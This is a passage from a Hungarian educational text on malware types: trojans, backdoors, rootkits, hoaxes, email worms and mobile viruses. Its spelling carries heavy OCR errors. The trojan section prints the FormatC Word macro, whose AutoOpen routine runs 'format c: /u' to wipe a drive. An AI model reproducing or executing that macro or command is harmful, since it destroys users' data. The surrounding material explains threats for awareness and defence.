foglalkoz6 kinai portalhoz tartozik. Ezenkiviil a Lovegate sajat terjedésének érdekében
fertozott iizeneteket kiild a Microsoft Outlook programmal megtekintett beérkezd
levelekre. Ezen féregkddrészlet azonban hibds, mert nem minden esetben hajtodik
végre. Végiil atnézi a .ht* hypertext formatumud dllomanyokat, e-mail cimek utdn
kutatva.

5.4. Trdjai programok

Szamitégépes értelemben a trdjai falé egy olyan program, ami mast tesz a héttérben,
mint amit a felhaszndlénak mutat. Az elnevezés a gorog mitologidban szerepld trdjai falobol
szarmazik, utalva Odiisszeusz cselvetésére, hogy a gorogok megnyerjék a tréjai haborit. A
kozhiedelemmel ellentétben nem feltétleniil tartalmaz rosszindulatd programkddot, azonban a
tobbségiik tartalmazza az un. hatsé kapu telepitését, ami a fertdz€s utdn biztositja a
hozzaférést a célszamitdogéphez. A trdjai valamely mds program forraskédjaba rejtve
tartalmaz oda nem ill6, rendszerint kartékony hatdsu programrutinokat. Amig nem inditjék el,
nem végez kartékony munkat — sot, hasznosnak latszik, igy csokkentve a lebukds veszélyét.
Igen gyakran mads sziikséges, ismert program prepardlt véltozata. Sokkal konnyebb tréjai
tipusu programot késziteni, mint virust vagy férget. Bar terjesztése nehézkesebb, hisz — a
virusokkal ellentétben — nem tartalmaz szaporité rutint, dltaldban nem tobbszorézi 6nmagat,
terjedése foként egyedi tdmadasoknak és az emberi hiszékenységnek koszonhetd. Troéjaival
val6 megfertézddésnek forrasa lehet egy e-mail iizenet csatolmdnya vagy azonnali
tizenetkiildd program, de megkaphatjuk CD-n vagy egyéb adattarolon is. A leggyakoribb
fert6zési modszert azonban a letoltések és a veszélyes honlapok jelentik. Néha igen nehéz a
fert6zés nyomdra jutni, mivel olyan programokat érinthet, melyeket gépeinken naponta
rendszeresen haszndlunk, s melyek eredetiségében és tisztasdgdban megbizunk.
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A tréjai programok célpontjai azok a szamitégép-felhasznaldk, akik ellendrzés nélkiil
inditanak el az internetrdl letoltétt, elektronikus levélben kapott, vagy mds, rendszerint
ismeretlen és ellendrizetlen forrasbol szarmaz6 programokat. Megfeleld — automatikus vagy
kézi — ellenOrzéssel ugyanis e kartékony programok javarészt kiszlirhetok lennének. A trgjai
programok biintetOrutinjai barmit tartalmazhatnak. Ismeriink olyan példanyokat (mint példaul
a WM/FormatC), amelyek azonnali és végleges adatvesztést okoznak, mdsok bizonyos
konyvtarakat és/vagy féjlokat tesznek tonkre, semmisitenek meg. Vannak olyan tréjai
programok is, amelyek kémprogramokat, jelszolopokat, backdoor programokat tartalmaznak,
de ezeken kiviil is sok mds véltozatot kiilonboztethetiink meg. A tréjai tipusu kartevoknek két
nagy tipusa van. Az els6be az utdlag trojanizdlt programokat soroljuk, amikor egy mér
kordbban is meglévO — és rendszerint széles korben elterjedt, kozkedvelt — program kodjat
modositjak utdlagosan, és helyeznek el benne olyan rutinokat, amelyek nem a program eredeti
funkcidinak ellatasat szolgaljdk. Ismeriink olyan valtozatokat, amelyek teljesen vagy részben
meghagyjak a trojanizalt program eredeti funkciéit, de olyanokkal is taldlkozhatunk, amelyek
mdr a programinditaskor teljesen atveszik a gazdaprogramtdl a vezérlést, és nem is adjak
vissza. Ez ut6bbi esetben a tréjai rutinokat hordoz6 gazdaprogram akar teljesen el is veszitheti
eredeti funkci6it. A masik tipusba azon tréjai programok tartoznak, amelyek eleve tréjai
programként késziilnek, és csak a veliikk adott kisérd dokumentdcié allitja, a megcélzott
felhaszndl6i kor megtévesztése céljabol, hogy az adott program hasznos szolgéltatdsokat
nyujt.

A tréjai programok azonositisa sok esetben azért nehéz, mivel a hordozé
gazdaprogram eredeti funkcigjaval semmi kapcsolata nincs az utélagosan beépitett trdjai
rutinoknak, illetve egyes esetekben ezzel pontosan ellenkezd a helyzet, vagyis lemezkezeld,
fajlkezeld, levelezd és internetbongészé segédprogramokra iltetnek rd rosszindulatd
kédrészeket, amelyek minden jelzés és engedélykérés nélkiil futnak le a gazdaprogram
inditasat kovetoen.

Néhany példa trdjai programra:

» WordMacro/FormatC.A
Az egyik legegyszerlibb trojai program a FormatC. Nem mds, mint egy Winword
dokumentum, melyben az AutoOpen makré tartalma a kovetkezo:

Sub MAIN

sCmd$ = "echo y | format c: /u"

Shell Environ$ ("COMSPEC") + "/c " + sCmdS, O
End Sub

A fenti k6d hatdsdra a megnyitott Winword dokumentum automatikusan leformazza a
C: meghajtot.

» Trojan.Vxgame

Az egyik legveszélyesebb kartevd, a Trojan.Vxgame a legtobb esetben a felhasznal6
tudta nélkiil, példdul egy weboldal meglatogatasaval telepiill a szamitégépre. A
Trojan.Vxgame ezt kovetden kikapcsolja a Windows sajat tlizfalat, amivel nyilt utat ad
a szamitdégépre betdrni probalkozé tobbi kdrokozdknak. A Trojan.Vxgame
valészintileg hatsé ajtéval is rendelkezik és a szamitégép feletti teljes irdnyitast at
tudja adni gazddjdnak, mig a Windows legmélyebb rétegeiben rootkit technolégidkkal
rejti el magat.
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» Trojan-Downloader.Zlob.Media-Codec
A kéros alkalmazds 4ltaldban felndtt tartalmu honlapokon az egyes videdk
lejatszasdhoz sziikséges Windows Media Player bovitményként tiinteti fel magat,
val6jdban viszont tovabbi kdros alkalmazdsokat és kémprogramokat tolt le a
felhaszndl6 szamitogépére. A Trojan-Downloader.Zlob.Media-Codec a héttérben letolt
és feltelepit olyan rosszindulatd, biztonsdgi szoftvereknek dlcdzott kémprogramokat,
mint a SpywareQuake, a SpyFalcon vagy a WinAntivirusPro, amik késobb djabb és
Ujabb karokozok letoltéséhez vezetnek.

5.5. Backdoor programok, root-kitek

Backdoor programoknak azokat az &ltaldban legalabb kétkomponensii szoftvereket
nevezziik, amelyek alkalmasak arra, hogy a helyi hal6zaton keresztil nem csupan
Osszekottetést teremtsenek €s adatcserét biztositsanak a megtamadott gépre felkeriilt szerver-
komponens és a tdimadondl iizemeld kliens-komponens kozott, hanem — a megtdmadott gép
felhaszndl6janak tudomdsa és engedélye nélkiill — a tdmadd adatokat tolthet le a fertdzott
géprdl, illetve azon keresztiil a megtidmadott hdlézatrél. Az informdcidétvitel forditva is
mukodik, azaz feltoltést is biztosit a backdoor, sét az adott program, atveheti a vezérlést a
rendszer felett, a helyi hdl6zathoz kapcsolt 6sszes gépet kontrollalni tudja.

Tégabb értelemben backdoornak mindsiil minden olyan alkalmazas, amelynek legélis
funkci6i kozott ugyan nem szerepel a fent emlitett kapunyitds, 4m mégis nydjtja ezt a
»szolgaltatast” is. Ilyen kiskapukat szdmtalan programba épitettek be a fejlesztok, koztiik a
Windows nem egy rendszerprogramjaba. A fejlettebb backdoor, illetve tdvmenedzseld
szoftverek lehetOséget adnak a tdvirdnyitdst végz0 személy szdmdra a kapcsolatépités
felhasznalonévhez és/vagy jelsz6hoz kotésére. A tdvoli menedzselés a kovetkezoket
foglal(hat)ja magéban:

a képernyOkimenet dtvétele

a billentytizet és az egér atvétele

a helyi billentylizeten végzett billentylilenyomasok naplézasa
fajlok le- €s feltoltése, dtnevezése, athelyezése, torlése, mddositasa, inditdsa
programok, szolgaltatasok inditdsa, ledllitdsa

registry médositasa

hang- és zenef4jlok lejatszasa

bedllitasok (halézati, hangerd, vided stb.) megvaltoztatdsa

a gép ledllitasa vagy ujrainditisa

a CD tdlca kiaddsa

stb.

VVVVVVVVVVY

Hires vagy inkdbb hirhedt backdoor programok:

» Back Orifice.1224928

Célja nem a kozvetlen kdarokozas, hanem egy hatsé nyilds (innen szdrmazik a neve)
létrehozdsa. Kliens-szerver moédon miukodik. A szervert valahogyan be kell
csempészni a kiszemelt dldozat gépére, mondjuk valami hasznos programnak dlcdzva.
Ha a felhaszndl¢ elinditja a programot, akkor az kitorli magat, de eldtte megfertdzi az
operdciods rendszert: bemdsolja magat futtathat6 dllomanyként a Windows konyvtérba,
majd egy registry bejegyzést készit, hogy ezutdn a program automatikusan elinduljon,
amikor a Windows elindul.
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Amikor a szerver fut, a kliens hal6zati kapcsolatot tud vele kiépiteni, ehhez csak az IP
cimét kell ismernie. Mivel a szerver mindent megtesz, amit a kliens kér, tovabbd a
Windows is megtesz mindent, amit a szerver kér, a tdvoli géprél a behatold teljes
hatalommal rendelkezik a gép felett. A gyanitlan felhaszndlé ebbdl semmit nem vesz
észre, legfeljebb a gép lassuldsét, illetve a vendég szdndékos magatartasat (pl. egy
figyelmeztetd ablakot). A program még egy teljes webszervert is tartalmaz, melyen
keresztiil az dldozat gépe elérhetd, és a vilagon barhonnan bongészheto.

» Back Orifice 2000
A Back Orifice 2000 szinte ugyanigy miikodik, mint az elédje. A BO2K két nagy
Ujdonsdgot tartalmaz:
»  Windows NT operaciés rendszer alatt is képes miikodni (a Back Orifice csak

Windows 95 és Windows 98 alatt miikodott),

» forraskddja szabadon hozzaférheto.
Meglepd moédon nem hackerprogramként, hanem ingyenes és legdlis
tdvadminisztracios programként jelentették be. Természetesen a konkurencia azonnal
tdmaddasba lendiilt és szinte az Osszes viruskeresO program virusként azonositja €s
automatikusan igyekszik eltdvolitani a BackOrifice 2000 fajljait. A program az 0sszes
32 bites Windows kiadasban hasznilhat6. A fejlesztOk weboldalairél nem csupdn a
kész program tolthetd le ingyenesen, hanem a forraskod is, igy a gyanakvobb
szakemberek maguk is ellendrizhetik, mit is telepitenek fel rendszereikre.

Rootkit alatt bizonyos szoftvereszkozoket értiink, melyek segitségével a hacker
konnyen visszatérhet a ,tett szinhelyére”, ha mar kordbban beférk6zott a rendszerbe, hogy
bizalmas adatokat gy(ijtson a fert6zott szamitogéprdl. Az alapétlet kordntsem tj, Unix és
Linux platformokon mar eddig is léteztek ilyen kartevok. E programokat azzal a céllal
készitik, hogy a nem kelld védettségli gépekre bejuttatva megszerezzék a root jelszot és a
gépen haszndlt azonosité neveket és jelszavakat. Ezek birtokdban a Linux alatt m{ikodo
szamitogép feletti ellendrzés egyszerien atvehetd, hisz a Linuxba tdvolrdl is be lehet
jelentkezni a mér ismertté valt jelszavakkal. Ujabban népszeriisége miatt a Windows az
elOszeretettel célba vett, egyben a legjovedelmezobb dldozat. A rootkiteket legtobbszor tgy
helyezik el, hogy a rendszerfjlokat fertdzze meg, amik ugyan tovabbra is elldtjak
feladataikat, de mar benniik van az arté kéd. A hackereket manapsdg mar az anyagi
haszonszerzés vezérli, a védtelen vagy nem megfelelden védett szdmitégépek tomkelege
pedig remek lehetdség szamukra. Joval egyszeriibb és kifizetddobb az otthoni szamitégépek
tizezreit megfertézni, mint a Unix vagy a Linux rendszereket futtaté kiszolgélokat,
amelyekbdl sokkal kevesebb dll rendelkezésre.

Két 6 tipusuk a kernel szintli és az alkalmazas szintli rootkit. A kernel szintliek olyan
kernel modulok amik a kernel kéd egyes részeit mddositjdk, példaul rendszerhivasokat
irdnyitanak 4t, hogy azokbdl kisziirjék (elrejtsék) a gyantis processzusra vagy felhaszndlora
utal6 adatokat. Az alkalmazds szintli rootkitek gyakran hasznalt bindrisokat (mint az Is vagy a
top) cserélnek le patchelt véltozatokra.

A legismertebb rootkitek: 1rk3, Irk4, 1rk5, Irk6 (é€s néhdny tovédbbi varidns), Solaris,
FreeBSD, Ambient's Rootkit for Linux, RSHA, tOrn.
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5.6. Hoaxok, remhirek

A hoax angol eredetli vandorszd, jelentése: ,beugratds”, ,,megtévesztés”, ,atverés”,
»alhir” vagy ,.kacsa”. Leggyakrabban az e-mailben terjedd lanclevelek kiilonféle véltozatait
jeloli. Az elektronikus levelezés célja az emberek kozotti (értelmes) irdsbeli kommunikacié. A
vildg azonban tele van mindenféle rosszindulati és néha korlatozott felfogdképességli
emberekkel, akik ugy gondoljdk, hogy j6 szérakozas értéktelen, idegesitd, zavard iizenetekkel
terhelni a nyilvdnos levelezést, és j6 vicc, ha hatalmas folosleges forgalmat generdlnak a
hal6zaton. Az e-mail 6nmagdban nem program, magatél nem terjed. Ehhez taldlnia kell
valamit vagy valakit, ami, vagy aki sokszorositja. Az egyetlen lehetdség levélszemét
sokszorositdsdra az emberek felhaszndldsa. A hoax altaliban nem irdnyul mds vagyonanak
vagy vagyoni értékkel bir6 dolgdnak illegilis megszerzésére, megkarositasara, célja inkdbb a
célszemély megtréfalasa.

Mirdl ismerjiik fel a ,,hoax™ levelet?

» Egyértelml ismertetéjele a felszolitds, hogy minél tobb ismerdsiinknek, miel6bb
kiildjiik tovabb.

» A figyelem felkeltése, sok nagybetlis szoveget tartalmaznak, tobbszor elhangzik, hogy
mennyire veszélyes kartevordl van szo.

» Megbizhatonak latszo forrdsokra valé hivatkozds, ismert nagy cégre vagy személyre,
mely szerint Ok is megerdsitették a hirt. Ilyen esetben egyszerlien ellendrizziik a
forrast, hogy valéban hiteles-e. Ha korlevél, kérdezziikk meg azt, akit6l a levelet
kaptuk, hogy hol van ez a korlevél. A neten a hivatalos cégek, ligynokségek lapjain
minden kozlemény, levél, felhivds megtaldlhat6. Ha nem leliink ilyet, vagy a feladé
azt mondja, hogy 6 nem tudja, akkor biztos lehetiink benne, hogy atverés!

> Altudomanyos nyelvezettel prébdlja meggyézni a kevésbé hozzdértéket. Egy kis
agytorna az egész, mar kezdhetiink is gyanakodni, ha ellentmondésokat taldlunk a
levelekben. Kezdjiink el kételkedni, ha az eredeti levelet (allit6lag) egy hétéves
gyermek adta fel, mikozben a levél a fekete lyukak atomfizik4jabodl vett példdkkal
tdmasztja ald a Fold kozeli pusztuldsat.

Hoax kategoéridk:

» Vakriasztdsok

Ide azokat a rémhireket soroljuk be, amelyek olyan tréjai faléra, virusokra és egyéb
rosszindulatd programokra figyelmeztetnek, amelyeknek az égviligon semmi alapja
nincs, a valésagban (mar) nem léteznek. Pusztdn valamilyen eseményre, hirre
hivatkozva dllitanak valé6tlan dolgokat, melyeket az emberek tobbsége sajnos azonnal
hitelesnek fogad el. Erre j6 példa az egyik legrégebbi (mar 1994-ben is ismert) ,,The
Good Times” hoax és hasonszOrli tarsai, vagy a ,,48 hours” és a ,Help” néven
katalogizalt vakriasztasok.

» Virosi legenddk (Urban Myths, Urban Legends)
A hoaxok egyik népes alfaja a vérosi legenda, varosi mitosz tipusu levelek, amelyek
mar emberemlékezet Ota léteznek, €s valoszinlileg a jovoben sem tlinnek el
véglegesen. E modern legenddk nem csak hitelesnek latsz6 beugratdsok, de mint
ilyenek, hosszi éveken keresztiil aktivan tartjdk a gyandtlan és felkésziiletlen
levelezOk tomkelegeit, akik szorgosan és faradhatatlanul sokszorositjdk Oket. Ha
vennénk a faradsdgot és megprébdlnank ellendrizni a levél {réjanak személyét, azt
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taldlndnk, hogy nem létezik, vagy ha mégis, akkor semmi koze a levélhez vagy
szeretné végre elérni, hogy az emberek ne kérdezdskddjenek tole a levélrol.

Az alébbi nevezetes €s vicces hoaxszal taldlkozhatunk a varosi mitoszok és legendak
cimsz6 alatt:

,»A napfény vaksagot okoz”

,,Husevo Banan”

,M¢érgezett boritékok a bankautomatdkban”

,,TUk a szinhazi iilésekben”

» Ingyen ajdandékok

Sok élhir sz6l olyan ajandékokrol, amelyeket nagy cégek osztogatnak filinek-fanak.
Hogy ha a levelet tovéabbkiildjiikk, akkor a nevezett cég pénzt, ruhdt, ingyenes
nyaraldst, ingyen telefont, stb. fog ajandékozni. Csupdn azt felejtik leirni, hogy az
adott cég honnan a csudabdl értesiilhet arrél, hogy egyéltalan tovabbkiildtiik-e a
levelet, s ha igen, hany helyre. 2000-ben egy mobiltelefon-tarsasdggal kapcsolatos
alhir-levelet forditottak le magyar nyelvre is — Ajandékok (Give Aways) — és kiildtek
sz€t lanclevélként a gyanutlan olvasdknak. Aki beddl az ilyen leveleknek, az bizony
igen hosszu ideig véarhat, mire barmit is kap, beleértve a levélben megnevezett cég
véalaszat is.

» Zagyva és/vagy eléviilt, elavult figyelmeztetések (Inconsequential Warnings)

E csoportba azokat a hamis leveleket soroljuk, melyek ugyan egy valds problémét
irnak le, de a levélben szerepld problémat mar évekkel kordbban megoldottik, a
problémaval egyiitt jaré kockdzat trividlis, nem igényel semmiféle magyarédzatot, vagy
a javasolt megoldds még veszélyesebb lenne, mint a probléma, amelynek
megsziintetésére javasoltdk. Azaz, mikdzben ezek a levelek nem igazi hoaxok, nem
érdemes mindenkinek tovédbbkiildeni az interneten. A levelek okozta félelem tobb kart
okoz, mint azok az ,,események”, amelyekre figyelmeztetni kivan.

» Szimpdtia-felkeltd levelek, segitségkérések mdsoknak

Ide azok a levelek sorolhaték, amelyek szimpatidnkat igyekeznek felkelteni, és
segitséget kérnek bajba jutott, balesetet szenvedett vagy beteg embereknek. Egyes
esetekben azonban bar ezek a hoax levelek valésdgos személyeket irnak le, az illetd
mar azéta felndtt, meggyogyult, kikezelték, €s mar nagyon szeretné, ha nem
kiildozgetnének neki ezerszamra e-mail-eket. Az igazi probléma az ilyen levelek
tovdbbkiildésében all, hogy nincs mod a lanc megallitdsdra, miutdn a probléma igy
vagy ugy, de megolddédott. Bar j6 mdédszernek latszik segiteni a vildg emberein azzal,
hogy tovébbkiildjiik az elveszett gyerekeket keresd leveleket, érdemes meggy6zddni,
hogy a levélben emlitett probléma megoldédott-e mar, mieldtt a levélmasolatokat
baritaink postaldddiba zuditanidnk. Amennyiben mi keriilnénk olyan helyzetbe, hogy
korlevélben kelljen segitséget kérni, érdemes valamiféle lejarati hataridot is belevenni
leveliinkbe, mielott az is hoax-sza valna.

» Hagyomdnyos ldnclevelek (Traditional Chain Letters)
A lanclevelek koz€ soroljuk altaldban azokat a leveleket, amelyek ,,szerencsét” vagy
pénzt igérnek abban az esetben, ha tovabbitjuk, €s rossz szerencsét, azaz balsorsot
abban az esetben, ha megszakitjuk a lancot azzal, hogy a levelet nem postdzzuk ki
tovabbi cimekre, altalaban ismer6seinknek, baratainknak. Sok esetben arra is
felkérnek az ilyen iizenetek, hogy a lista elején szerepld néhdny embernek pénzt is
kiildjiink.
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5.7.

A léanclevelek konnyen felismerhetdek hagyomanyos szerkezetiikr6l, mely az Gtven
évvel ezeldtt divatban volt hagyomanyos, azaz levélpapiron terjesztett lanclevelektol
szarmazik. A kiilonbség csupdn annyi, hogy itt nem kell postai bélyeget fizetni, és
nem papiron kormoljiik djra leveleinket, hanem levelezOprogramunk Forward vagy
Tovabbkiildés gombjaval kezdiink neki a szétpostazdsnak. Egyszdval a régi triikkok
modern kornyezetben élednek djj4 a mai lanclevelekben.

A lanclevelek tartalmazhatnak ,figyelmeztetéseket” a végzet eldre kiszamithato
eseményeirdl, szélhatnak valamilyen nyomordsdgos koriilmények kozott tengddd
1élekrol, szamitégépes rendszereink végzetérdl, stb. Csupa olyan baljés dologrdl,
amelyet elkeriilhetiink, amennyiben ezekrdl az lizenet tovabbitasdval értesitjiik Osszes
baratunkat. Az egyetlen hasznos tanécs ilyen esetekben az, hogy ,,Ne ddljiink be!”.

Fenyegeto lanclevelek (Threat Chains)

Azokat a leveleket soroljuk ide, amelyek azzal fenyegetnek, hogy amennyiben nem
kiildjik tovdbb az {izenetet, akkor valami baleset fog torténni veliink vagy
szeretteinkkel, elromlik a szamit6gépiink vagy egyéb kart szenvediink. Az e csoportba
sorolt levelek altaldban azt allitjak, hogy képesek nyomon kovetni, kinek kiildtiik
tovabb a levelet, illetve tovabbkiildtik-e egyéltaldin, mikdzben erre semmilyen
lehetdség nincs!

Hamis céges levelek (Scam Chains)

Olyan levelek, amelyek latszolag egy 1étezd cégtdl érkeznek (példdul a Microsofttol,
az IBM-tdl vagy a Symantec-t6l stb.), de valgjdban hamisitvanyok. Rendszerint arra
hivatkoznak, hogy valami gond meriilt fel felhaszndl6i azonositonkkal,
hitelkartyankkal stb. és arra kérnek, hogy adjunk meg valaszleveliinkben egy sor
személyes jellegli és bizalmas informdciot, mint példaul felhasznal6i neviinket és a
hozza tartoz6 jelszot. Gyakran egy eldkészitett weboldalra valé hivatkozast is
tartalmaznak, amely latszolag egy kitdltendd lrlapot tartalmaz, vagy egy bejelentkezd
(Login) képernyonek létszik egy olyan szervezetnél, amellyel kapcsolatban allunk.
Azonban, ha egy ilyen oldalon megadjuk a kért adatokat, azzal csak a hamis céges
levelet bekiildd személy szamara szolgéltatjuk ki bizalmas adatainkat.

Tréfdak (Jokes)

Olyan figyelmeztetd iizenetek, amelyeket aligha képzelhetd, hogy barki is elhisz. A
kovetkezd leveleket a neten mint tréfakat vagy szatirdkat helyezték el, és olyannyira
blédek, hogy meglepd, hogy mégis akadnak, akik beddlnek nekik.

,Indits egy nukledris csapast most”

,Fényképfelvétel a monitorodon keresztiil”

Igazi legenddk (True Legends)
Létezd dolgokrdl szo6l6 valddi torténetek, amelyek nem rémhirek, de vissza-
visszatérve keringenek az interneten. E csoport jeligéje ez is lehetne: ,Egy
Ujsziilottnek minden vice aj!”

Levelez6 virusok

A levelez0 virusok elnevezés egy gyiijtéfogalom mindazon program- és dokumentum-

kartevokre, amelyek programkddja a levelezOrendszer igénybevételével terjed. A klasszikus
program- és dokumentum-kartevOk — itt most elsdsorban a virusokra, a trdjai programokra és
a programkartevokre gondolunk — akkor is érkezhetnek az elektronikus postdval, ha benniik
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nyoma sincs a levelezd rendszer felé forduldsnak. Elég, ha egy virusfert6zott programot vagy
dokumentumot hozzicsatolnak a levélhez, s az maris dton van tjabb védtelen célpontok felé.
A valddi, sziikebb értelemben vett levelezd virusok programkdédja nem  csupdn
véletlenszerlien keriil be a levelezési rendszerek adatfolyamdba, hanem specidlis rutinok
szolgalnak arra a viruskédban, hogy elegendd szamu cimre keriiljenek el a fert6zott levelek,
illetve maga a virus (vagy féreg) aktivizalja a gép felhaszndldjdnak tudomdsa, s6t engedélye
nélkiil a levélkiildést, fajlatvitelt.

5.7.1. Levelezés utjan terjed6 binaris virusok

A helyi halézatok térnyerésével olyan 4j virusok és programférgek jelentek meg,
amelyek a PC alapd helyi héal6zatokon terjedtek kozvetleniil munkadllomasrol
munkadllomadsra, vagy a szerveren keresztiil.

Az internet és az elektronikus levelezés robbandsszerli terjedése, a tobb milliényi
védtelen 14j célpont megjelenése arra Osztonozte a virusfejlesztoket, hogy virusaikba olyan
szaporod6 rutinokat épitsenek, amelyek az Uj csatorndt veszik igénybe. Ezek a bindris kodu
levelez6 virusok, amelyek kizarélagos szaporodasi modszerként a levelezd rendszereken
keresztiili levélkiildést haszndljak. Ez a kategdria egyeldre nem tdl népes, mivel meglehetdsen
Osszetett feladat egy olyan kdd 1étrehozédsa, amely platformtdl fiiggetleniil képes futni és
fertdzni a megtdmadott gépeken. Nevezetes képviseldi: Esperanto és RedTeam.

5.7.2. Klasszikus levelezéprogram-férgek

Mar a nagy hédlozatok kialakuldasanak elején megjelentek a levelezOprogram-férgek,
hisz az akkori hdlézatok sebessége miatt a WAN-ok (Wide Area Network) elsddleges
felhasznalasa a levelezés volt. E féregprogramok nem karokozasi céllal késziiltek és indultak
utnak, hanem mert lehetdség volt ilyen tipusu programok készitésére, és mar megfeleld szamu
védtelen célpont létezett és volt elérhetd a hdlézatokon. A programférgek nem pusztitdsukkal
okoztak kdrokat, hanem azzal, hogy a végletekig leterhelték a halézatot, az iizenetkiildo
rendszert és komoly erdforrdsokat vontak magukhoz, megnehezitve vagy lehetetlenné téve a
szamitégépek és a halézatok hasznalatit. A klasszikus levelezd férgek koziil az aldbbiakat
emliteném meg, mint legismertebb és legfontosabb kartevok: Christmas Tree, HI.COM,
Internet Worm, Pervading Animal, The Creeper, Wank Worm.

5.7.3. Levelez6 32 bites programférgek Windows kérnyezetben

Az elsd programférgek csak a levelezd rendszert haszniltdk, illetve az FTP-t. A
legtobb 32 bites Windows programféregre igaz az, hogy csak akkor indul el, ha a nevére vagy
az ikonjdra rdkattintunk. Olyan kombindlt féregprogram- csomagok is megjelentek, amelyek a
f6 féreghordozé Win32-es programfijl mellett egy szdmukra automatikus inditast biztositd
script programocskat is beledgyaznak az e-mail szovegtorzsébe.

Ezek a fajta kartevOk tobbféle tevékenységet is végeznek. Legfontosabb feladatuk
természetesen a féregkdd szaporitdsa, am emellett gondoskodniuk kell arrdl is, hogy vezérlést
kapjanak. Sokuk féjlokat, informécidkat juttat ki a megfertézott gépekrdl, masok hatsdajtét
(backdoor) nyitnak a védelmi rendszereken, és vezérléshez juttatjdk a férget készitd hackert.
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A programférgek egy része arra is be van programozva, hogy a helyi gépen pusztitson, 4m az
ilyenek szdma szerencsénkre még elenyészo.

A 2001-es évbol hoztam néhany felkapottabb példat: W32/Aliz, W32/Goner,
W32/Hybris, W32/Navidad, W32/Sircam €s a CodeRed Alert.

5.7.4. E-mail-re szakosodott makrovirusok

Makrévirusok mar akkor megjelentek az elektronikus levelek mellékleteiben, amikor
még semmiféle olyan specidlis rutin nem volt benniik, amely a levélben valé tovabbitést, a
levelezd rendszeren torténd szaporoddst célozta volna. Egyszerien arrdl volt sz6, hogy az
emberek programok helyett dokumentumokat cseréltek az interneten keresztiil. Az e-mail-re
szakosodott makrdvirusok mar nem csupan passziv médon utaznak az elektronikus levelek
mellékleteként, hanem a makrényelvek lehetdségeit és az operdcids rendszer, valamint a
levelez6 rendszerek programozhatdsdgat kihasznélva aktivan részt is vesznek az uj célpontok
felkutatdsaban és a viruskdd automatikus, a felhasznélé tudta nélkiili szétpostazasaban.

Makrévirusok azokon a rendszereken 1étezhetnek, amelyeket igy alkottak meg, hogy:

» a makroprogramok kdédja nem kiilon fajlban, hanem magukban a dokumentum-
fajlokban helyezhetd el;

» a megnyitott dokumentumfijlokban 1évé makréprogramok automatikusan, a
felhaszndlo értesitése, sot jovahagyadsa nélkiil is elindulhatnak;

» a makréértelmezot is tartalmazé program vagy rendszer kellden elterjedt, azaz van
elegendd szamu potencidlis és védtelen célpontja a kartevOknek;

» az adott makrényelv rendelkezik olyan programozastechnikai eszkozokkel,
amelyekkel megoldhat6 a programkdd sokszorozdsa és ,teritése” a felhaszndld
levelezd partnerei kozott;

» az adott makrényelv rendelkezik olyan eszkozokkel, amelyeket felhaszndlva a
rosszindulatd programok hatékony rombol6 rutinokkal szerelhetdk fel.

Ezeknek a feltételeknek a Microsoft Office programcsomag programjai felelnek meg
leginkdbb, hisz a legelterjedtebb irodai programcsomagrdl van sz és igen egyszerti dolog az
Office dokumentumokban makréprogramokat elhelyezni. Egy makréovirus a féjlok
elkodolasdval, titkositdsaval, a fajlok, konyvtarak torlésén 4t a merevlemez particiok
leformédzasdig barmit okozhat. Kiszolgaltathatjdk adatainkat, jelszavainkat, kiskaput
nyithatnak az internet feldl érkez6 tdmadasoknak.

Torténetesen a WM97/Melissa (Word 97 makrévirus) volt az elsé olyan tomegesen
leveleket kiildo kartevd, amely elsOsorban a levelez6 rendszeren keresztiil — az Outlook és az
Outlook Express programokat felhaszndlva — terjesztette sajat kodjat. Elsé kiaddsa a
megfertdzott géprél 100 cimre kiildte el a fertézést tartalmazé LIST.DOC nevii Word 97
dokumentumot.

5.8. Mobilkesziilékre irt virusok

A mobiltelefonok terjedése, a késziilékek funkcidinak robbandsszert fejlédése ugyan a
felhasznalok kényelmét szolgdljdk, ennek azonban &4rnyoldala is van: a virusirék kezdik
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felfedezni a hordozhat6 eszkdzokben rejld lehetdségeket, és a PC-k vildga utan djabb, eddig
ismeretlen kapukat akarnak feltrni.

A radidtelefonokon terjedd €s az azokat megfert6z6 kartevok sokdig csupan rémhirnek
bizonyultak, napjainkra viszont az els@ bluetooth-os mobilvirus megjelenésével merdben
megvaltozott ez a helyzet, az intelligens mobil késziilékek elterjedtsége miatt mar senki sem
ignordlhatja ezen tjfajta kartevok 1€tét.

2004. janius 14-én a finn F-Secure és az orosz Kaspersky szinte egyszerre adott hirt az
elsé mobilvirusrdl, a Cabirrél, mely a Symbian operédcids rendszert hasznal6 okostelefonokra
jelentett veszélyt. A Cabir ugyan csak egy kisérleti kartevd volt, mégis mindenkit
megddbbentett, hogy a Bluetooth vezeték nélkiili haldzati technoldgia segitségével a fertdzott
késziilék par méteres kozelében 1évé mobiltelefonokat is megprébalta megfertdzni a féreg.

Két évvel késObb, a szakértok mar kétszazndl is tobb mobilvirust regisztréltak, ezek
nagy része az eredeti karokoz6 moédositott varidnsa.

A gyérték és a szolgaltatok egyiittmitkodnek, megprobdlnak minél biztonsidgosabb
késziilékeket €s operdcios rendszereket késziteni, illetve a halézati infrastruktdrat is
felkészitik a virusjarvanyok megakaddlyozdsara. Ennek ellenére a mobil késziilékeket
megfertdzni képes kartevok szama egyre csak novekszik, és féld, hogy az okostelefonok
egyre szélesebb kortl terjedésével a helyzet csak romlani fog.

A mobiltelefonokon is megjelentek a kémszoftverek: felfedezték a Flexispy nevii
programot, mely a hattérben bujik meg, milkodésérdl semmilyen jelt nem ad, 4am rogziti a
hivasok és szoveges lizenetek adatait, majd azt egy harmadik fél szamara tovabbitja.

A tréjai ingyenes SMS-ek altali WAP szolgaltatdst igér (a szabvany lehetové teszi,
hogy szoveges iizenetek formdjaban torténjen a kommunikdcié), val6jdban azonban emelt
dijas orosz szamokra kiildozgeti az SMS-eket. A gyanittlan felhaszndlé legrosszabb esetben
csak a telefonszamla kézhezvétele utdn értesiilhet az atverésrdl, a végosszeg pedig ilyen
esetekben igen magas lehet, hiszen inditdsa utan folyamatosan kiildi az iizeneteket a kértevo,
mintegy végtelen ciklusban.

Milyen feltételek mellett fert6z a virus?

» Egyik telefonr6l a madsikra jutdshoz sziikséges egy atviteli csatorna, legyen az
bluetooth, infravoros-kapcsolat, vagy akar MMS iizenet.

» A telefon rendelkezzen olyan operdciés rendszerrel, melyen a kartevd életképes.
Kezdetben ez a Symbian volt. Elemzok szerint 2015-re letisztdzodik a verseny a
vezetd mobil operacids rendszerek kozott. A piacon maradtak egyike lehet az Android,
amelyet a Google és partnerei fejlesztenek, mig a mésik a Nokia dltal megalkotott
Symbian, amit a finn cég tavaly jiniusban nyilt platformnak mindsitett.

» A késziilék tulajdonosanak fogadnia kell a virus altal kiildott fjlt, és manudlisan el is
